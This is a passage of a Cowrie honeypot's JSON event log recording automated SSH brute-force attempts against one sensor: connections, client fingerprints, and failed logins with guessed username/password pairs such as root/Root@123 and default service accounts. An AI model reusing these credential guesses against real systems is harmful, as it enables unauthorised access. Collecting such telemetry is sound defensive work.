s","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:38.915814Z","src_ip":"176.32.39.21","session":"0d7ad576da7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50066,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4d5301d54ee","protocol":"ssh","message":"New connection: 192.109.200.237:50066 (159.203.135.109:22) [session: e4d5301d54ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:38.977891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:38.983419Z","src_ip":"192.109.200.237","session":"e4d5301d54ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:39.148654Z","src_ip":"192.109.200.237","session":"e4d5301d54ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:39.398511Z","src_ip":"192.109.200.237","session":"e4d5301d54ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adrenalin","message":"login attempt [root/adrenalin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:39.672502Z","src_ip":"176.32.39.21","session":"0d7ad576da7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:40.567901Z","src_ip":"192.109.200.237","session":"e4d5301d54ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:40.794650Z","src_ip":"176.32.39.21","session":"0d7ad576da7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55348,"dst_ip":"159.203.135.109","dst_port":22,"session":"5154082e506c","protocol":"ssh","message":"New connection: 192.109.200.237:55348 (159.203.135.109:22) [session: 5154082e506c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:42.356046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:42.361242Z","src_ip":"192.109.200.237","session":"5154082e506c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:42.444943Z","src_ip":"192.109.200.237","session":"5154082e506c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:42.698438Z","src_ip":"192.109.200.237","session":"5154082e506c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:43.788249Z","src_ip":"192.109.200.237","session":"5154082e506c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55358,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0f0f03f0570","protocol":"ssh","message":"New connection: 192.109.200.237:55358 (159.203.135.109:22) [session: e0f0f03f0570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:45.952773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:45.958166Z","src_ip":"192.109.200.237","session":"e0f0f03f0570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:46.040613Z","src_ip":"192.109.200.237","session":"e0f0f03f0570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:46.287390Z","src_ip":"192.109.200.237","session":"e0f0f03f0570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:47.372735Z","src_ip":"192.109.200.237","session":"e0f0f03f0570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55360,"dst_ip":"159.203.135.109","dst_port":22,"session":"182d888adf97","protocol":"ssh","message":"New connection: 192.109.200.237:55360 (159.203.135.109:22) [session: 182d888adf97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:49.350057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:49.354850Z","src_ip":"192.109.200.237","session":"182d888adf97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:49.436868Z","src_ip":"192.109.200.237","session":"182d888adf97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:49.684445Z","src_ip":"192.109.200.237","session":"182d888adf97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:50.830633Z","src_ip":"192.109.200.237","session":"182d888adf97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00117373466492,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:50.865129Z","src_ip":"152.42.224.71","session":"6733ba591ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":47572,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa145bc92322","protocol":"ssh","message":"New connection: 87.251.79.125:47572 (159.203.135.109:22) [session: fa145bc92322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:50.881786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:50.886515Z","src_ip":"87.251.79.125","session":"fa145bc92322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:50.960373Z","src_ip":"87.251.79.125","session":"fa145bc92322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerrewq","message":"login attempt [root/qwerrewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:51.179915Z","src_ip":"87.251.79.125","session":"fa145bc92322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:52.255649Z","src_ip":"87.251.79.125","session":"fa145bc92322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60736,"dst_ip":"159.203.135.109","dst_port":22,"session":"890cfc125142","protocol":"ssh","message":"New connection: 192.109.200.237:60736 (159.203.135.109:22) [session: 890cfc125142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:52.745563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:52.750350Z","src_ip":"192.109.200.237","session":"890cfc125142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:52.832381Z","src_ip":"192.109.200.237","session":"890cfc125142","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:53.083705Z","src_ip":"192.109.200.237","session":"890cfc125142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:54.168225Z","src_ip":"192.109.200.237","session":"890cfc125142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60742,"dst_ip":"159.203.135.109","dst_port":22,"session":"031efe772343","protocol":"ssh","message":"New connection: 192.109.200.237:60742 (159.203.135.109:22) [session: 031efe772343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:56.354994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:56.359947Z","src_ip":"192.109.200.237","session":"031efe772343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:56.444076Z","src_ip":"192.109.200.237","session":"031efe772343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:56.691442Z","src_ip":"192.109.200.237","session":"031efe772343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:57.776356Z","src_ip":"192.109.200.237","session":"031efe772343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60756,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6bcc2939ab5","protocol":"ssh","message":"New connection: 192.109.200.237:60756 (159.203.135.109:22) [session: d6bcc2939ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:59.878292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:59.883339Z","src_ip":"192.109.200.237","session":"d6bcc2939ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:59.968482Z","src_ip":"192.109.200.237","session":"d6bcc2939ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:00.219497Z","src_ip":"192.109.200.237","session":"d6bcc2939ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.627487897872925,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:01.007148Z","src_ip":"152.42.224.71","session":"d5f7234c986f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:01.305200Z","src_ip":"192.109.200.237","session":"d6bcc2939ab5","protocol":"ssh"}
